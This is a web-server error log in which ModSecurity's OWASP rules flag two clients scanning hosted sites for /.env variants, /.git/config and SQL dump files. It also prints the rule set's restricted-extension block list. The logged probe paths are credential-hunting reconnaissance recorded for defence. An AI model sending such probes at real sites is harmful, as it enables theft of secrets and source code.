[Fri Jul 17 08:27:58.075594 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.local"] [unique_id "almaNkhq6UAnqYko0LpXPgAAABE"]
[Fri Jul 17 08:27:58.075882 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.local"] [unique_id "almaNkhq6UAnqYko0LpXPgAAABE"]
[Fri Jul 17 08:27:58.076029 2026] [hostinglimits:warn] [pid 1994967:tid 1994967] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(1994967) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:58.076211 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNkhq6UAnqYko0LpXPgAAABE"]
[Fri Jul 17 08:27:58.076265 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNkhq6UAnqYko0LpXPgAAABE"]
[Fri Jul 17 08:27:58.076277 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaNkhq6UAnqYko0LpXPgAAABE"]
[Fri Jul 17 08:27:58.242805 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMA7FYe46zHK_jL3MRgAAABk"]
[Fri Jul 17 08:27:58.485019 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almaNkhq6UAnqYko0LpXQgAAABE"]
[Fri Jul 17 08:27:58.485244 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almaNkhq6UAnqYko0LpXQgAAABE"]
[Fri Jul 17 08:27:58.485517 2026] [security2:error] [pid 1994967:tid 1994967] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.backup"] [unique_id "almaNkhq6UAnqYko0LpXQgAAABE"]
[Fri Jul 17 08:27:58.978615 2026] [security2:error] [pid 2013831:tid 2013831] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMKhgWo8idb8AQWuZ_AAAABs"]
[Fri Jul 17 08:27:59.135085 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.dev"] [unique_id "almaNx15lhZh2QtC5qEWJAAAAB8"]
[Fri Jul 17 08:27:59.135374 2026] [security2:error] [pid 2014286:tid 2014286] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.dev"] [unique_id "almaNx15lhZh2QtC5qEWJAAAAB8"]
[Fri Jul 17 08:27:59.214657 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.staging"] [unique_id "almaN3RlmrtCoY_COpcidgAAAAg"]
[Fri Jul 17 08:27:59.214937 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.env.staging"] [unique_id "almaN3RlmrtCoY_COpcidgAAAAg"]
[Fri Jul 17 08:27:59.215059 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:27:59.215194 2026] [security2:error] [pid 1993715:tid 1993715] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaN3RlmrtCoY_COpcidgAAAAg"]
[Fri Jul 17 08:27:59.634748 2026] [security2:error] [pid 2013831:tid 2013831] [client 54.163.171.172:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.manaharasupercenter.lk"] [uri "/.git/config"] [unique_id "almaN6hgWo8idb8AQWuZ_QAAABs"]
[Fri Jul 17 08:27:59.634999 2026] [security2:error] [pid 2013831:tid 2013831] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/.git/config"] [unique_id "almaN6hgWo8idb8AQWuZ_QAAABs"]
[Fri Jul 17 08:28:00.035877 2026] [hostinglimits:warn] [pid 2014285:tid 2014285] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(2014285) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:00.085255 2026] [security2:error] [pid 1993619:tid 1993619] [client 112.134.146.16:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-global": Permission denied [hostname "colperlab.com"] [uri "/wp-content/themes/betheme/fonts/fontawesome/fontawesome.css"] [unique_id "almaOI1dLClkUfK_dfHhbAAAAAI"], referer: https://colperlab.com/
[Fri Jul 17 08:28:00.085285 2026] [security2:error] [pid 1993619:tid 1993619] [client 112.134.146.16:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colperlab-ip": Permission denied [hostname "colperlab.com"] [uri "/wp-content/themes/betheme/fonts/fontawesome/fontawesome.css"] [unique_id "almaOI1dLClkUfK_dfHhbAAAAAI"], referer: https://colperlab.com/
[Fri Jul 17 08:28:00.224335 2026] [security2:error] [pid 1993584:tid 1993584] [client 98.89.33.80:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "autoconfig.millenniumagro.lk"] [uri "/backup.sql"] [unique_id "almaOFxP5-SsqbGuGB2k-gAAAAA"]
[Fri Jul 17 08:28:00.224681 2026] [security2:error] [pid 1993584:tid 1993584] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/backup.sql"] [unique_id "almaOFxP5-SsqbGuGB2k-gAAAAA"]
[Fri Jul 17 08:28:00.225846 2026] [security2:error] [pid 2008451:tid 2008451] [client 98.89.33.80:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "127.0.0.1"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "127.0.0.1"] [uri "/cgi-sys/autoconfig.cgi"] [unique_id "almaOAPhWp7RzB65h36evQAAAA0"]
[Fri Jul 17 08:28:00.225887 2026] [security2:error] [pid 1993574:tid 1993574] [client 98.89.33.80:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.staging"] [unique_id "almaON0t9Kb_MdNxrg6-ugAAAAM"]
[Fri Jul 17 08:28:00.228166 2026] [security2:error] [pid 1993574:tid 1993574] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.staging"] [unique_id "almaON0t9Kb_MdNxrg6-ugAAAAM"]
[Fri Jul 17 08:28:00.230344 2026] [security2:error] [pid 1993574:tid 1993574] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.staging"] [unique_id "almaON0t9Kb_MdNxrg6-ugAAAAM"]
[Fri Jul 17 08:28:00.260669 2026] [security2:error] [pid 1993584:tid 1993584] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/backup.sql"] [unique_id "almaOFxP5-SsqbGuGB2k-gAAAAA"]
[Fri Jul 17 08:28:00.349720 2026] [security2:error] [pid 2014285:tid 2014285] [client 98.89.33.80:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "autoconfig.millenniumagro.lk"] [uri "/data.sql"] [unique_id "almaODPV8F2Ufi3kXba6kwAAAB4"]
[Fri Jul 17 08:28:00.353981 2026] [security2:error] [pid 2014285:tid 2014285] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/data.sql"] [unique_id "almaODPV8F2Ufi3kXba6kwAAAB4"]
[Fri Jul 17 08:28:00.354393 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/dump.sql"] [unique_id "almaOAPhWp7RzB65h36evgAAAA0"]
[Fri Jul 17 08:28:00.354732 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/dump.sql"] [unique_id "almaOAPhWp7RzB65h36evgAAAA0"]
[Fri Jul 17 08:28:00.354836 2026] [security2:error] [pid 2014285:tid 2014285] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/data.sql"] [unique_id "almaODPV8F2Ufi3kXba6kwAAAB4"]
[Fri Jul 17 08:28:00.354846 2026] [hostinglimits:warn] [pid 2008451:tid 2008451] mod_hostinglimits: Error on LVE enter: LVE(1084) HANDLER(proxy:unix:/opt/cpanel/ea-php74/root/usr/var/run/php-fpm/f64de0d049d84066f55466d408a6312c23b175ae.sock|fcgi://manaharasupercenter.lk.buddhika.xyz) HOSTNAME(www.manaharasupercenter.lk) URL(/index.php) TID(2008451) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:28:00.354978 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaOAPhWp7RzB65h36evgAAAA0"]
[Fri Jul 17 08:28:00.399877 2026] [security2:error] [pid 1994976:tid 1994976] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMDRCJXF37-WnVv0ilgAAABI"]
[Fri Jul 17 08:28:00.406713 2026] [security2:error] [pid 1993659:tid 1993659] [client 98.89.33.80:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.production"] [unique_id "almaOJOFLENLI63GGOEKOwAAAAQ"]
[Fri Jul 17 08:28:00.406956 2026] [security2:error] [pid 1993659:tid 1993659] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.production"] [unique_id "almaOJOFLENLI63GGOEKOwAAAAQ"]
[Fri Jul 17 08:28:00.407805 2026] [security2:error] [pid 1993659:tid 1993659] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.production"] [unique_id "almaOJOFLENLI63GGOEKOwAAAAQ"]
